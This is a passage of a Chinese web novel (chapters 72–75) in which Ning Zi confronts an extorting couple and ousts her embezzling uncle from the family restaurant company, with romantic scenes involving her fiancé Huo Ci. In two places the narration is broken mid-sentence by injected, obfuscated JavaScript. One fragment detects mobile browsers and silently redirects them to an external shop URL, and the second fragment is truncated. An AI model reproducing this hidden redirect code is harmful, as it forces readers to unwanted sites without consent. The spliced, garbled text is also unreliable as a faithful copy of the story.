女人横眉怒目,反手抄起桌面上盛瓜子的盘子,连盘带瓜子一同朝宁姿砸去。宁姿措手不及,本能后退,吓得埋头闭上眼,两只胳膊抬起护住自己的头。 千钧一发之际,只见一道修长的身影如离弦的箭般从门口冲进来,三两步挡在她身前,一把扣住她的肩,顺势一转,将人牢牢护在自己的怀里。瓜子落了他满身,有些钻进衣领中,大部分散落在地面,发出细碎密集的声响,不锈钢圆盘砸在他的后脑,发出很大一声响,然后跌向地面。 宁姿抬脸看去,琥珀般剔透的瞳眸水光流转,楚楚柔荏,易碎般的脆弱。 霍辞伸手在她发顶用力揉了下,低叹道:“我说过什么?” 确认宁姿没事,才松开手,转身朝向凶恶的中年女人,那双深暗如寒夜的眼睛中流露出一种冷漠的锋利神情,蔑然又狠厉,深深的很是渗人。 那女人被震慑住,缩起脖子退后一步,然后靠在墙边,扯着嗓子虚张声势,“干什么?难道你敢打女人?” 72. 第七十二章 病房里弥散着消毒水的气味,有些刺鼻。 粗壮的中年女人缩在墙角,脸上的肉都跟着在抖,眼眶发红,活像只紧绷到极致的斗鸡。原本半死不活躺在病床上的男人忘记了呼痛,挣扎着爬坐起身,瞪大两眼,仿佛回魂一样。 霍辞朝中年女人大步走去,气场骇人。那女人再不敢嚣张,慌急了,口不择言嚷道:“敢动手我就报警,打女人是畜生!我年龄大了,碰我一下,我就晕倒。别过来,你快停下!啊啊啊啊!” 霍辞到她面前时,她发出杀猪般的嚎叫。病床上的男人也吓得傻眼,屁都不敢放一个。 宁姿担忧叫他,“你别……” 霍辞低吼一声,像负伤的野兽般使尽全部力气,拳头朝女人大饼脸上挥去。她吓傻了,双腿一软跌坐在地。霍辞的拳头却在碰到她的脸前转了向,将桌面上的装饰花瓶砸碎在地,指关节处立即现出几道伤口,血珠顺着白皙的手背淌下。 看着地面上碎裂的瓷器和刺目的血滴,中年女人目瞪口呆,喃喃道:“疯了,疯了……这是个疯子。” 宁姿急忙跑过来拉起他的手认真察看,被碎片割伤了皮肤,好在不深,她心疼道:“怎么这样,疼不疼?” 霍辞睨着惊恐得眼歪嘴斜的女人,嗓音阴冷道:“你该感谢她没受伤,否则这些碎片现在会全部扎进你的脸上。” 他不是吓唬人,有一瞬间,他是真想这样做。 胖女人缩在墙角一声不敢吭,连呼吸都不敢,倒是靠坐在床上的干瘪男人骂骂咧咧开了,“你砸东西给谁看?我才是受害人,你们还跑到我跟前耍横,是不是非要把我逼死才肯罢休?告诉你,现在赔三十万不够了,你敢恐吓我们,必须追加十万元精神损失费。既然是开饭店的,钱肯定赚得不少,全是从我们普通老百姓手里压榨来的,现在就让你们吐出来。” 霍辞斜乜他一眼,仅是一个眼神就令他不自觉打了个寒颤。 “张自明,四十六岁,身高一米七一,风行工厂的普工。万芳,四十二岁,身高一米六二,在双林二巷无证摆摊卖手工饺子。二人都来自蒲南运流县,现居住于鸣风山公园旁武坤西路十七号院,房子是租的。育有一子一女,儿子刚满三岁,女儿在铁路小学读书。”霍辞平铺直叙,流利地背出这些资料。 干瘪的男人也不装虚弱了,急得从病床上一跃而起,跳下床来,乌沉的双唇直哆嗦,“你查我们?你想做什么?” 万芳不经吓,这会儿已经嗷嗷地哭起来。霍辞的目光如利箭般向她射去,从嗓子眼挤出一声冷飕飕的“闭嘴”。万芳再也不敢嚎了,双手捂住嘴,鼻涕、眼泪混在一起。 他继续冷淡道:“六年前,张自明确诊一型糖尿病,引起慢性肾脏疾病,并发尿毒症,今年开始持续透析。你们想把这笔账也赖在事故上。” 宁姿讶异地看着他,没想到他把这两人的信息了解得这么透彻。张自明夫妻二人视线闪躲,不知该如何应对。 “婚宴当天的监控录像,我已看过,你们两人在开席的时候离开,原因已经调查清楚,你们的大女儿在学校和同学打架,老师把家长叫去谈话。” 张自明张了张干燥起皮的嘴唇,哑口无言,原本斗鸡一样的状态一下子被清空。万芳站了起来,拿袖子抹干脸上,破罐破摔问:“你想怎么样?有种你杀了我们啊!” “撒谎、言语恐吓、肢体冲突伤害我的未婚妻,加上敲诈勒索,你们等着被起诉吧。”霍辞神情漠然,气势森冷如炼狱阎罗。 宁姿只关心他尚在流血的手背,上前一步拽住他的手臂,轻晃了晃,示意他跟自己出去。霍辞恍若不觉,立身于原地居高临下睥睨夫妻二人六神无主的模样。 张志明看着他,心中充满惧怕,终绷不住垂头低声道:“我们也是一时鬼迷心窍才想出这招,家里经济状况差,我们夫妻二人收入低,透析的医疗费用又高,孩子还得上学。你就将心比心,可怜可怜我们吧。” 万芳一边哭一边断断续续说:“我也没……没真想打这位小姐,不过是吓唬她一下,人也没事……” 霍辞毫不动容,目光依然冷入骨髓,那张俊美如天神的面庞皮肉绷紧,宛如随时会降下天罚,凶相毕露,一言未发,用另一只完好的手牵住女孩的手,带她走出病房。 刚出门口,宁姿再也忍不住,二话不说拽着他去处理手上的伤口。护士察看后说没有大问题,消毒,上药,包扎,整个过程用时很短。霍辞面不改色,宁姿却心疼得很,口中不断呢喃着“不痛,不痛,忍一忍就好了”,好像痛的人是她一样。 瞧她在乎的模样,霍辞心情舒畅些许,故意皱了下眉头。 “护士小姐,麻烦轻一点。” 如愿以偿看见她神色疼惜地对护士温声叮嘱,霍辞心里像灌入了温水一样,舒缓生暖。 手上的伤口处理好了,二人回到走廊里,她又不放心地问:“脑袋痛不痛?刚被砸了一下,还是得去做个检查。” “小题大作,我没事。”霍辞抬眸,浓墨般的黑眸看向她,很是坦然。 宁姿这才安下心,责怪道:“吓坏我了,怎么气到拿手去砸花瓶?疼的是你自己。” “我克制不住,也不想克制。”提到刚才的冲突,霍辞脸色仍不好看,余愠未消。 “是我不好,你明明已经警告过,可我没放在心上,坚持要自己面对,最终还害你受了伤……”她越说越难过,眼圈都泛起了红。 “我不该再提,你别伤心。”霍辞慌了神,双手按住她的肩膀,柔声说。 宁姿嘟着嘴摇头,细声道:“我自责,把事情想得太简单。” 霍辞掌心在她肩头摩挲,缓缓靠近,不错眼地细细看着女孩,神情迷离,“脆弱的模样有种别样的美,勾得人心痒痒,有一股想吻你的冲动。” 宁姿愕然抬眼盯着他,也忘记难过了,伸手推了他一下,又心虚地朝左右看了两眼,小声埋怨,“那么多病人和家属在,还有医生、护士经过,怎么说这种话,还不小声些?” “谁叫你愁眉苦脸不肯笑一笑?我只给你倒数三个数的机会,你了解我的个性,说到做到。”他勾起唇角,尽显无赖。 宁姿急了,“喂,你不许……” “三,二,一……”他置若罔闻,露出顽皮的笑意。 宁姿脸颊滚烫得像要燃烧起来,只得赶紧牵起唇角露出笑容。霍辞食指与中指的指腹描摹她嘴唇的弧度,眼里氤氲着温润笑意,“傻乎乎 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霍辞虽弄不清楚她要做什么,但一直纵容顺从。随着二人距离的拉近,鼻尖萦绕着淡淡的甜香,是属于她的味道。宁姿大胆地抵住他的肩,想把他往墙边带。霍辞笑得宠溺,下一秒,她双手环住他的脖项,挑逗般地仰起脸。 浓密乌黑的发如缎子般柔顺地垂落,有一缕扫过他颈间的皮肤。少女娇羞而笨拙,脸颊红扑扑的,尝试朝他靠近,失败了,又踮起脚尖继续尝试。而霍辞坏心眼地不配合,下颌弧线清隽明晰,眉梢微挑,满是玩味。 宁姿铁了心要占据主导权,双手压在他的胸口,迎上去覆住他的唇,微微含住,略显生涩笨拙。呼吸节奏逐渐紊乱,小心翼翼的撩拨反而更具魔力,令相贴的身体温度攀升。她细腻的吻浅尝辗转,始终不深入。霍辞如同一个渴久了的人,得不到满足,一心眷恋汹涌的甘霖,于是反客为主,坚实的手臂揽紧她的腰身,将人往上提了些许,像要揉进自己的身体里一样。 他的吻如同狂风暴雨,令人难以招架。就在听见楼上木门被人推开的声响时,宁姿不禁猛然一颤,从忘我沉溺的状态中抽离,却见他没有放过的意思,一时又羞又急,忙推他的胸口。 一双柔白的小手被一把捉住,楼道上方传来的脚步声越来越清晰,她急得蹙起秀气的眉毛,狠了狠心咬了他一下。霍辞吃痛,依然没松开,而是与她较劲般厮缠,直逼得女孩满脸绯红,呼吸不畅,见她眼角长睫凝挂着晶莹的泪珠,他才克制自己,在下楼的那道影子现出前,握紧她的手腕,带她移到视觉盲区的角落。 二人身前被高大的架子挡住,下楼的行人直接从前面经过,没有瞧见他们。宁姿仿佛没有力气似的,娇软的身子伏在霍辞怀中,小心翼翼注意楼道的动静,确定没人看见,悬起的心才放下。 霍辞曲起指节敲了敲她的额头,“呼吸,憋晕过去,不知道该怎么向医生解释。” 宁姿这才回过神,赶紧深呼吸几口,气得握拳砸了下他的肩膀,“得寸进尺,坏心眼。” 他笑了笑,捏住她的手,“我是。” 73. 第七十三章 霍辞与宁姿并没有起诉张自明夫妇,本来是生活困顿的人,不过给个教训吓唬下他们。 道歉和赔偿商议进展得很顺利,患者们恢复情况良好,收下赔偿款,都签字和解了。“红鼎轩”被处以二十万元罚款,停业整改,检查合规后才能继续正常营业。 周一上午九点,“红鼎轩”的大会议厅内,这一回全部股东和高层领导都来齐了,钟腾也不例外。他坐在长桌主位上,看见宁姿进门,没有起身的意思,虚伪一笑,“宁姿来了,这次探访那些患者实在是辛苦你了,做得好。来,到舅舅身边坐,我向叔叔、伯伯、阿姨们好好介绍一下你。” 宁姿脸上挂着得体的笑容朝他走过去,避开他伸出的手,保持距离,淡道:“不用麻烦,正式场合攀扯亲戚关系不合适,我称呼你为‘钟总’,你叫我一声‘宁总’吧。” 她微侧过身,目光淡淡扫视全场一圈,“自我介绍也免了,既然各位都是‘红鼎轩’的股东和员工,就该认识我。” “何必那么严肃?把气氛搞得太紧张,大家聚在一起聊聊天,随意点。”钟腾姿态懒散坐在椅子上,稍一抬手,表情随和,目光却注视着宁姿,掩藏住眼底的敌意。 “这里不是茶楼,是‘红鼎轩’的会议厅。通知各位时,我说得很清楚,是全体高层会议。你来之前没收到通知吗?”她字字机锋,毫不留情朝他刺去。 钟腾沉下脸色,笑容也消失了,幽幽道:“你不知道在座各位都非常忙碌吗?把大家聚在这里陪你胡闹,我都感到不好意思。” “如果叫作胡闹,那婚宴五十八人集体食物中毒的事故又算什么?难道这场会议不该开?” 他摊了下手,依然没有重视的意思,“别急,情绪平稳一点,不都遂了你的意来齐了吗?” 其他人一直保持沉默,有几名明确支持钟腾的股东嘲讽地笑了笑。即便钟腾刻意给她扣下不理智的帽子,宁姿也并不着急,而是视线低垂睨着坐没坐相的他,说:“都是大忙人,别浪费时间,开始会议吧。在此之前,麻烦钟总坐到其他位置上去。” “你想让我坐到哪儿?” 宁姿随手一指,“后面有好几个空位,随便选,不乐意坐,站着也成。” 钟腾气喘不匀,胸口被石头堵住一样,纯粹是被气的,他不得不闭紧嘴,以免情绪失控破口大骂,给坐在旁边的几个股东递了个眼色。那几人立即会意,向宁姿发难—— “你什么态度,眼里还有没有长辈?” “就算不把我们这些老家伙放在眼里,让亲舅舅坐边上,自己坐主位,太不像话。” “不过是安抚了患者,就居功自傲,在座哪个不是为红鼎轩呕心沥血,谁像她那样猖狂?” 这些人激愤不已,议论连连。宁姿置若罔闻,面不改色,等他们的音量小下去,才不紧不慢开口,“只想问一个问题,谁才是红鼎轩持股最多的人?” 刚才还议论不断的那些人立马默不作声,视线也纷纷挪开。钟腾在心底暗骂一群废物,反驳道:“虽然姐姐和姐夫留下股份给你,但我才是目前的董事长,坐在正位名正言顺。” 宁姿斜眼一笑,“敢问钟总自己持多少股份?” 这话戳到了他的肺管子上,哑口难言,百分之二的股份说出口就像是个笑话。 宁姿见他不作声,声音洪亮道:“除去遵照遗嘱在毕业前替我代持的股份外,钟总自身持股量少,没资格任董事长职务,如今不过是代我行使经营权。今天会议的一个主要目的是罢免他的职务。” 钟腾气得厚掌拍桌,豁然站起身,咬牙切齿道:“想罢免我,也不看看这些年来我为‘红鼎轩’付出多少心血!” “更该看看这些年你利用职务之便贪没多少见不得光的钱。”宁姿话说了个痛快。 他端起长辈的派头,拉长个面孔厉声斥责,“你真是长大了,心气也变高,容不下我这个亲舅舅,可笑我们夫妇费尽心力养大的是一只白眼狼。” 宁姿厌烦至极,“我说过,正式会议别把公事、私事混在一起谈,就算要谈,也是你们一家像贪婪的吸血虫一样住进我父母的房子,霸占最好的资源,肆意挥霍我父母的遗产,还不知足,妄想霸占我父母的产业。” “全都是污蔑!”钟腾气得浑身发抖,又顾及周围人的目光,挤眉弄眼做出副凄惨的表情。 “咱们谈正事。”在座众人的目光齐刷刷投向她,宁姿语气平静,逻辑清晰,“上一季度谎报装修费,贪污金额近二十万。私自挪用公款投入股票市场,数额高达上百万。无故和从前的食品供应商解约,一力促成和大田食品签约合作,私下收取回扣,造成这次食物中毒事故。这只是最突出的三项,其他大大小小贪污事项十根手指头都数不清。” 她给朱敬递去一个眼神,朱敬立刻起身给在座的股东和高层领导分发资料。 “各位看到的是钟腾做假账的证据,和大田食品经理私下会面时的录音我已掌握,向公安机关检举后将调取他的银行流水。钟腾,你这是犯罪。” 钟腾面容一僵,现场像被时间静止,出现诡异的沉默。宁姿一鼓作气道:“我提议罢免钟腾代理董事长的职务,同时作为‘红鼎轩’第一大股东,我宣布对他的经济犯罪行为追究到底。” 钟腾忽然阴测测笑了下,大步走到最近的一位股东面前,问也不问伸手抽走他面前的资料,迅速翻页扫视,再抬起脸时,厚唇已弯成自负的弧度,“你说这些假账是我做的?别开玩笑,这些账目乍一看没有问题,我每天那么忙,哪有时间把每笔收入、支出都查清楚?你只会纸上谈兵,没有实战经验,有一天要是坐在我这个位置上就懂这些难处了。我受了底下人的欺骗,盖了章,但赃款跟我没有半点关系,我才是受害者。” 颠倒黑白,果然不要脸。 宁姿心里怒气与嫌恶交杂翻涌,钟腾朝她挑衅地一扬头,怪笑道:“录音是你编出来的吧?” 宁姿面上平静,丝毫不露怯。然而钟腾深知她的脾气秉性,还是看出了破绽,转身面向众人,扬眉说:“这丫头谎话连篇,大家不要信她。只要站在我钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233170|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾这边,一切还和以前一样。” 众人神情犹豫,都有些不知所措,场面一度寂静。 先前不过是虚张声势,赌了一把,暂时没找到直接证据,没想到被他拆穿,宁姿咬紧牙关,沉默片刻后轻叹了口气,由衷道:“的确,暂时没有直接证据证明我对钟腾的指控,但我所说的罪名是内部人员检举揭发的内容。谁说的是真话,谁说的是假话,相信各位心里已有分辨。‘红鼎轩’是我父母生前倾注大量心血的产业,也是各位一起拼搏壮大的事业,现在‘红鼎轩’的未来、你们自己的未来全在这次关键的抉择里,试问你们真的放心跟随钟腾这样卑鄙龌龊的人吗?” “如果继续让他留下,一定会用尽所有手段毁灭证据,设法转移赃款。我诚心实意恳求大家投票罢免他的职务,拜托了。”她说完,朝所有人恭恭敬敬地鞠了一躬,再直起身时,眼眶已微微泛红。 她在心底默念绝对不能哭,必须要坚强,要像一名勇猛的战士一样守护好父母留下的产业。 朱敬走到她旁边,低声安慰了一句,“做得好。” 钟腾靠近,抬眼蔑笑,“演讲真是精彩,可惜,九个股东有五个都是我的人,投票不过是走个形式,胜败早已成定局,你是自取其辱。” 宁姿高傲地看了他一眼,先一步坐到正位上。钟腾呵呵冷笑,觉得自己胜券在握,慢慢地在旁边的空位坐下,此时他脸上没有丝毫慌乱,一副小人得志的嘴脸。 朱敬用眼神询问宁姿,她点了下头。不论是什么结果,都只能接受,已经尽力了,就算这次失败也没关系,她绝不会放弃,定要竭尽全力揭露真相,让钟腾为他的恶行付出代价。 朱敬深吸一口气,心里清楚目前情况不乐观,但也只能继续下去,沉声说:“投票环节正式开始,请全体股东会成员举手表决,同意罢免钟腾代理董事长职务的……” 他的话被会议厅大门打开的声音打断,一道锋利颀长的影子落在地面上,来人身后明光倾泻,面容被笼罩在暗影里。 他的轮廓被光线晕染得略显模糊,依旧可窥见剑般笔直的身形,宽阔如岸的肩膀,仿佛来自异世的神祇。全场寂静无声,独留下皮鞋踏在地面上的清晰声响。 等人走近,其他人才看清他的真面目。他的五官锋利而清晰,像执笔者用以沉重的墨色点染过,气质矜贵,又夹杂着美玉般无可挑剔的透彻无瑕。 宁姿以为自己已经足够坚强,直到看见他的一刹那,心口像被野性的独角兽猛然一击,溃不成军。她不想在这时流眼泪,可胸腔里的酸涩泛滥成灾,像是涨潮时汹涌澎湃的海浪,几乎要将她淹没。 没出息,她暗暗啐自己,到底是要强,不肯叫别人发现自己的脆弱,索性转过头。 霍辞懂她,懂得这个被他放在心尖上女孩所有的别扭与倔强,他安静地来到她身边,宽厚的双手掀起早春般温暖的风,轻轻停放在她瘦弱的肩。 宁姿的耳畔响起他柔若呢喃的轻语,他说:“亲爱的未婚妻,接下来,请你给我机会表现一下。” 74. 第七十四章 霍辞双手扶在宁姿的肩,俯下身在她耳边说话,安抚她的情绪。 钟腾本来满心欢喜胜券在握,见投票被打断,心里急躁。他不容许出现任何变故,板着脸说:“霍辞,虽然你已经和宁姿订婚,但现在是内部会议,不相干的人在场,不合适吧?” 霍辞抬头,目光如冷剑般凛冽,朝他射去,慢悠悠直起身,“急着下逐客令,难道是做贼心虚?我今天不是以宁姿未婚夫的身份出席会议,而是以‘红鼎轩’股东的身份,够不够名正言顺?” “什么?”钟腾抬起头,对上他清凛的眼睛,搁在桌面上的双手骤然握紧。 霍辞面向众人,风姿俊雅,目光却如剑锋锐气,“我一共持有百分之五的股份,感谢前辈们成全转让。” 顺着他的视线望去,三名股东含笑点头,价格漂亮,割让部分股份又何乐而不为? 宁姿瞪大双眼,仰起白净的小脸,用表情表示惊愕。霍辞知道她想问什么,再次俯下身靠在她耳边低声说:“昨天谈妥,处理好手续,价格合理,承诺三位股东享有和我司的优先合作权。” “那我岂不是借了你的势?”她有点开心。 “是他们借了你的势,你是江城的顶级人脉,不允许受委屈。”霍辞轻声耳语。 两人甜甜蜜蜜地说悄悄话,钟腾眉头紧锁,惊觉大事不妙,这样的话票数就持平了。他克制住内心的慌乱,想着投票没有结果也无所谓,只要在下次投票前想出应对的办法就行了。 “放心。”霍辞眼神坚定,替宁姿理了理额前的碎发,走到长桌末尾的空座坐下,正好与她面对面。 “抓紧时间继续,毕竟在座的都不是闲人。”钟腾说。 “同意。”霍辞慢条斯理地望着他,端起面前秘书刚泡好的热茶。 “继续。”宁姿端坐在主位,朝朱敬说。 朱敬点头,扬声道:“请全体股东会成员举手表决,同意罢免钟腾代理董事长职务的人请举手。” 钟腾把手抱在胸前,低笑一声,说:“赞成票未过半数,提案不能通过。如果有人不服,往后再开会投票,不过那时得拿出实打实的证据,否则就是多闹了一场笑话。” “没过半数?”霍辞冷声反驳。 钟腾嗤笑道:“就算加上你也不过六票,正好持平,难道不会数数吗?不会我教你。一,二,三,四,五,六,七……七?” 他尾音陡然失控,笑容僵在脸上,两只浑浊的眼撑大了,最终目光不可置信地定在一人脸上。那是一个小股东,平时不吭声不出气,只知道附和他。 此时,那人却颤巍巍举起了手,受不住他锐利的目光凝视,略显心虚地垂下眼皮,“从前我信任你,才支持你,现在你的所作所为伤害了我们大家的利益,还牵扯到经济犯罪,休想再蒙骗我们。” 坐在他旁边的女人也缓缓举起了手,对面的三名股东你看我,我看你,最后也举起手来。 “你们……你们这群见风使舵的小人,就是为了巴结他霍辞!”钟腾气急败坏,红脸怒斥道。 霍辞双手相抵,“不检讨自己,只以小人之心揣度别人。就算冲着我投票又怎样?只说明在座各位懂得站队。接受现实,你已经输了。” “你们想踢我出局,没那么容易。”钟腾用力把桌面上的资料推到地上,怒目瞪向宁姿,“你早就算好了是不是?费尽心思和他订婚,目的是把一切资源掠夺殆尽,把我们一家三口赶尽杀绝。” “这话说得有趣,我怎么能提早算好?又没有未卜先知的本事。要不是你们心术不正,做了伤天害理的事,我又有什么机会借题发挥?”宁姿聚焦眼神,看着他狰狞油腻的面庞,怒道,“我从不主动作恶,但不代表要无底线宽容,更不是任人摆弄的傻子。难道善良的人就要任你们欺凌掠夺,甚至被害死也不可以反抗吗?” 她眼底浓重的恨意如熊熊烈火般燃烧,眼神像死过一遭的人那般凄绝深暗。钟腾见了,一股幽寒之感顺着脊背爬上去,原本要说的话重又从嗓子眼咽回去。他的脸庞涨得发紫,重重点了下头,牙根咬得极紧,发出“咯吱”的声响,没有说话,却又以凶狠至极的神情留下无声的诅咒,最终睁着猩红的双眼脚步虚浮朝门外走去。 胜了,却没有料想中的痛快,宁姿依旧沉溺于激烈的情绪中难以抽离,纤弱的身子微微发颤。霍辞安静地走到她身边,宽大的掌心包裹住她冰凉的手背,悄声安慰,“一切都过去了,守护住父母的产业,你很棒。” 她转头望向他,神色迷茫,喃喃问:“我是不是把‘红鼎轩’夺回来了?” “夺回来了。”霍辞心头一软,轻声说。 宁姿听见自己加重的呼吸声,胸膛内的那颗心剧烈跳动着,在迷离的光影间,仿佛看见父母欣慰的笑容,难以言喻的放松感如潮水般涌入身体,令她像是置身梦境。 她缓了缓,克制自己的情绪,会议还没结束,她必须冷静主持大局。默默擦掉盈于睫尖的泪珠,身姿端坐,平稳声线道:“感谢大家的信任和支持,我宣布,解除钟腾代理董事长的职务。‘红鼎轩’一应大小事务暂由股东会成员朱敬主理,全体高层人员协助管理,至于新任董事长人选……” “从这次事件处理过程不难看出,小宁总遇事冷静、行事果决,在短时间内想出妥善的应对方案,并付诸实践,为人处世胆大细心、正直、聪慧、有魄力。我提议,由股东会成员暂时共同经营饭店,小宁总顺利毕业,您再正式担任董事长职务,不论从占股比例还是能力来说,这都是最好的选择。”朱敬提议。 其余股东也没反对,有几人赞同地点起了头。 宁姿露出感激的目光,“感谢大家对我的认可,这对我来说很重要,让我确信没有辜负父母的期望。但我必须向各位坦诚,经营饭店不是我的理想,毕业后,我打算从事建筑设计工作,因此辜负大家的期待了。我的想法是这次事件顺利收尾,一切步入正轨后,再召开一次投票会,由全体股东公平、公正地票选出新任董事长。而我作为股东身份,不会置身事外,任何时候只要有需要,都会像这次一样责无旁贷尽自己的一份力。希望得到大家的理解。” 即便朱敬等人希望将来由宁姿亲自经营饭店,但也没有强人所难,最终按她的提议日后重新票选新任董事长。 会议结束,宁姿筋疲力尽,刚打完一场硬仗,全部精力都耗光,一上车就睡了过去。车开到星岸天麓的地下车库,霍辞没出声,转过头看熟睡的女孩。 她靠在真皮椅背上,裙摆下修长笔直的长腿规矩地并拢,放在膝上的双手不安分地动了动,呼吸均匀,面容恬淡,唇角微微上翘,睡得格外香甜。 宁姿似有感应,睁开眼,一看见他就愣住了。霍辞脸上的笑意渐渐加深,伸手捏住她的鼻尖,“不认识你的未婚夫了?” “觉得很神奇,梦里是你,醒来也能见到你。”她鼻尖被捏住,声音有些奇怪。 霍辞松开手,替她整理额角的碎发,“梦见我什么?” “牵着我往前跑。”她认真回忆,“我在一个很黑的地方,不知道是哪里,一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不困了,在酝酿睡意。”宁姿将头埋入他怀中,“怎么那么厉害?每次都做出让我意想不到的事,就像童话故事里在危难关头拯救我的黑骑士。” “那谁是你的白马王子?”他哼道。 宁姿将他的腰搂得愈紧些,“是你,都是你。黑骑士是你,白马王子也是你,满意吗?” 霍辞揉乱她的长发,问:“喝酒吗?” 宁姿惊讶地抬起头看他,“不是不准我喝酒?故意灌醉我?” “警觉性挺高。”他的笑容如春日下见底的溪水般清澈,“你酒量差,不许在我不在的时候喝,在我身边可以。” “有阴谋。”宁姿斜起双眼。 霍辞但笑不语,起身去酒柜拿了一瓶酒,倒到两个杯子里,递了一杯给她。盯着杯中淡白色的液体,她有些好奇,埋下脸尝了一小口,惊喜道:“甜的。” “米露,度数低,喝了不难受。” 宁姿又贪嘴喝了一口,笑容比米露还甜,“也是你特意准备的?” 他有力的手握住她空出的那只手,虽未作答,答案却已不言而喻。宁姿喃喃道:“原来你真的很想和我住在一起,为什么?” “你在,有家的感觉,迫不及待想拥有。” 他的语气真挚而柔软,令宁姿的心也春风化雨般发柔,情不自禁环住他坚实的窄腰,“我会时常来陪你住。” “只是时常?”霍辞问。 “不能贪心,爸爸、妈妈也会想我。” 别墅里有一家三口最幸福的记忆,过去的照片挂在墙上,宁姿将对至亲的思念寄托于其中。霍辞理解她的心情,声音在她发顶响起,多少带点委屈的意味,“约定好了,你肯偶尔来,我很满足。” 她忍俊不禁,“明明比我大四岁,却更像个黏人的小孩。” “那谈点成人的话题?”霍辞轻抚了下她颈间细腻柔滑的肌肤。 宁姿心一紧,索性再度闭上眼,装醉。 75. 第七十五章 女孩装睡的演技实在拙劣,乌黑的睫毛还在轻颤,粉嫩的唇瓣也微微嘟着。 霍辞笑道:“找个时间去公证处,把我手上‘红鼎轩’的股份转让给你。” 宁姿愕然睁眼,“为什么?” 霍辞没想到她会这么问,顿了半秒,回答,“我的就是你的。” “既然这样,为什么要多此一举转让股份?” 他认真说:“‘红鼎轩’是你父母留下的产业,虽说你是最大股东,但股份占比越重,越安心。” 宁姿嘻嘻笑道:“你留下股份,做个小股东,以后再遇到麻烦的情况,投票支持我的提案。” “全被你给算精了。”霍辞稍用力刮了下她的鼻子,害她皱了下眉头,接着表情严肃地对她说,“商业上的事我会站在发展角度上考量,严谨、客观,不可能在任何情况下都无条件支持你,没顺你的意是有可能的,所以确定不让我把股份上交?” “听起来没什么人情味。”她撇了下嘴,“不过我相信你,如果有一天你不站在我这边,一定是我想错了,你得耐心说服我,我会认真思考,想明白为止。” “这么懂事?”霍辞笑问。 宁姿毫不犹豫道:“你是我亲自选中的大树,背靠你,好乘凉。” 霍辞英俊的面孔忽然逼近,一双黑曜石般的眼睛仿若深潭,要将她吸进去。宁姿的心跳加速,不敢再与他对视,忙羞涩地把发红的小脸埋在他的胸口,闷声闷气道:“不许这样盯着我,会紧张得睡不着。” “不如不睡。”他轻飘飘回复,意有所指。 宁姿摇头。 “我陪你一起睡。”霍辞早有预谋,话音才落,忽然间把人打横抱起,大步走进卧室里。 被轻轻扔在床上时,宁姿觉得身上软绵绵的,头也有点晕乎乎,似乎染了些醉意,手脚并用爬进被子里,把自己裹得严严实实。霍辞看她这样紧张,在她身边躺了下来,揶揄道:“胖蚕蛹。” 她哼了哼,“今天不唱歌,换讲故事吧。” “不能都听你的,你太得寸进尺,以后我的家庭地位堪忧。” 霍辞微仰起弧度俊秀的下颌,逗得她笑出声,脸颊红扑扑的,像刚被摘下来鲜嫩欲滴的苹果。 霍辞隔着被子抱住她,“既然把我当作大树,任何场合都可以利用这层关系作为筹码去谈判,我不介意。” “这样做,事情进展会顺利得多,但我故意不用这张王牌,希望让那些人看看,我宁姿是有真本事的。”她坦诚道。 霍辞扬眉,“你本事大,不但将重大事故在短时间内转危为安,夺回父母的产业,还将这棵大树完全拿捏。” 宁姿心中透亮,“太会哄人,让我觉得任何人都比不上你,难以自控沉溺于你的温柔,怎么反过来说是我拿捏住你?” “这样是不是就不会有你想离开的一天?”他试探性地瞧进她的眼底,细微而真挚的情绪闪动,将他内心的渴求与不安全感全然暴露。他已经尝到了幸福的滋味,再也无法像从前那样回归孤单。 宁姿怎么会不明白他的心情?一样是从黑暗中走出来的人,彼此都异常珍惜这份来之不易的幸福。 她缓缓把手从被子里拿出来,再轻柔地抱住他的脖子,乖巧又柔和,神色纯净得像高山巅被春日融化的冰清细雪,“外人都说我配不上你。” “把耳朵闭起来,不要听那些废话。”霍辞冷下脸。 “他们什么都不懂,只有我们自己明白。”宁姿的嗓音软糯糯的,伸长脖子仰面啄了下他侧边的脸颊,喝了酒的缘故,她柔软的唇瓣发烫,触感细腻又明显。 “乖一点。”他说话的声音低哑,带了分警告意味。 宁姿调皮心思又起,偏了下头思索着什么,浅浅的光浮动在眼眸中,又大着胆子仰起头靠过去,这一次轻快地啄了下他的唇瓣,退回身,饶有兴致瞧着他修长脖项上锋利的喉结上下滚动了下。出于好奇的本能,她食指轻抬起,顺着喉结滚动的轨迹缓缓描了一遍,指腹途经之处,掀起一股细微电流般的颤栗。霍辞的呼吸陡然加重。 “为什么就是不听话?”他低声斥责,顺势翻过身,把她压在身下。 宁姿还来不及反应,两只手就被钳住,抵在头顶上,这才惊觉闯祸了,浑身一激灵,颤声说:“好困呀,现在是真想睡了。” “晚了。”霍辞的声音带着股狠劲,低下头狠狠吸住女孩樱花般粉嫩的唇瓣。 洗漱过后,宁姿用了润唇膏,因此唇齿间弥漫着淡淡的香草味,可口却不腻人。此时的她仿佛一块任人宰割的小蛋糕,动弹不得,连求饶的嘤咛声都被淹没在清晰得令人耳热的接吻声中。 终于分开时,她头软绵绵抵着他的肩膀,不住喘息,心底突然想着,太习惯霍辞对自己的温柔和包容,得意忘形了,差点忘记这人本来是强势到可怕的个性,以后再招惹他,得有些分寸。 霍辞打算下床,宁姿下意识伸手牵住他的衣角,“去哪儿?” 问完就有些后悔,好不容易劫后余生,又作,像留人过夜的意思。 霍辞回过头,神色有些无奈,片刻后苦笑道:“放你一马,见好就收。” “得嘞。”宁姿就坡下驴,迅速把手缩回被子里去。 霍辞去浴室里冲了个澡,用的是凉水,冲了大约有半个小时。宁姿也觉得自己有点过,他从浴室出来时,她再度开始拙劣的演技——装睡。 好在霍辞没跟她计较,在额头落下轻柔的一吻,关上门出去了。 · 